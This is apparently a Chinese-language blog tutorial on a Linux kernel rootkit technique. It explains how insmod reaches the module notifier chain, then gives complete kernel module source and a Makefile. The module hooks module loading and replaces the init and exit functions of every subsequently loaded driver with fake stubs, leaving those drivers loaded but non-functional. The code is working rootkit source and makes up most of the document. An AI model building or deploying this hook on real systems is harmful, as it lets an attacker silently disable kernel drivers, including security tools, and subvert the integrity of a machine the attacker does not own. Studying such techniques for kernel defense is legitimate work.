Rootkit---HOOK内核驱动

当插入一个内核驱动时，一般会使用工具insmod，该工具实际上调用了系统调用init_module，在该系统调用函数中，首先调用 load_module，把用户空间传入的整个内核模块文件创建成一个内核模块，返回一个struct module结构体。内核中便以这个结构体代表这个内核模块。

1. init_module系统调用定义，可以看到主要是调用了load_module。
   
2. 在load_module中，主要prepare_coming_module，准备将内核模块进行加载。
   
3. prepare_coming_module中经过一系列的调用，最终执行到notifier_call_chain函数，并且执行了notifier_call回调函数，notifier_call就是需要hook的函数。
   
   我们注册的通知链处理函数是在 notifier_call_chain函数里被调用的，调用层次为： blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。

HOOK内核驱动：

1. Notifier chains通过注册的函数调用来通知异步事件或状态。注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier 函数。

struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};

2. MODULE_STATE_COMING：模块当前正在被加载。MODULE_STATE_LIVE：模块当前正常使用中（存活状态）。MODULE_STATE_GOING：模块当前正在被卸载。

int module_notifier(struct notifier_block *nb, unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
	/*声明一个自旋锁x并初始化它*/
    DEFINE_SPINLOCK(module_notifier_spinlock);

    module = data;
	/*自旋锁*/
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
		case MODULE_STATE_COMING:
			printk("Kernel Module: %s\n", module->name);
			/*将初始化和退出函数换成自定义的函数*/
			module->init = hook_init;
			module->exit = hook_exit;
			break;
		default:
			break;
    }
	/*解锁*/
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);

    return NOTIFY_DONE;
}

3. 加载HOOK内核驱动。
   
4. 加载其他驱动，可以看到打印了Fake init和加载的模块名，证明已经hook成功。
   
5. 虽然其他的内核驱动已经正常加载进去了，但是也是无法正常原本的功能。
   
   源码：

# include 
# include 
# include 

int  hook_init(void);
void hook_exit(void);

int module_notifier(struct notifier_block *nb, unsigned long action, void *data);

struct notifier_block nb = {
    .notifier_call = module_notifier,
    .priority = INT_MAX
};


int init_my_module(void)
{
    printk("init_my_module!\n");
	/*注册notifier_block,函数用于注册需要知道当前模块的状态，然后触发一个回调函数*/
    int ret = register_module_notifier(&nb);
	if(ret){
		printk("Failed to register tracepoint module enter notifier\n");
		return -1;
	}
	printk("module name: %s\n",  THIS_MODULE->name);
	printk("module state: %d\n", THIS_MODULE->state);
    return 0;
}


void exit_my_module(void)
{
    unregister_module_notifier(&nb);
    printk("exit_my_module!\n");
    return;
}


int module_notifier(struct notifier_block *nb, unsigned long action, void *data)
{
    struct module *module;
    unsigned long flags;
	/*声明一个自旋锁x并初始化它*/
    DEFINE_SPINLOCK(module_notifier_spinlock);

    module = data;
	/*自旋锁*/
    spin_lock_irqsave(&module_notifier_spinlock, flags);
    switch (module->state) {
		case MODULE_STATE_COMING:
			printk("Kernel Module: %s\n", module->name);
			/*将初始化和退出函数换成自定义的函数*/
			module->init = hook_init;
			module->exit = hook_exit;
			break;
		default:
			break;
    }
	/*解锁*/
    spin_unlock_irqrestore(&module_notifier_spinlock, flags);

    return NOTIFY_DONE;
}

int hook_init(void)
{
    printk("Fake init\n");
    return 0;
}

void hook_exit(void)
{
    printk("Fake exit\n");

    return;
}

module_init(init_my_module);
module_exit(exit_my_module);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("lkm");
MODULE_DESCRIPTION("LKM rootkit");

Makefile：

KVERS = $(shell uname -r)
obj-m += kernelLoad.o
#EXTRA_CFLAGS = -g -O0
build: kernel_modules
kernel_modules:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules
clean:
	make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean

参考：
https://0xax.gitbooks.io/linux-insides/content/Concepts/linux-cpu-4.html
https://www.opensourceforu.com/2009/01/the-crux-of-linux-notifier-chains/
https://www.cnblogs.com/sky-heaven/p/4554614.html
https://blog.csdn.net/damontive/article/details/18313729
https://www.cnblogs.com/likaiming/p/11002351.html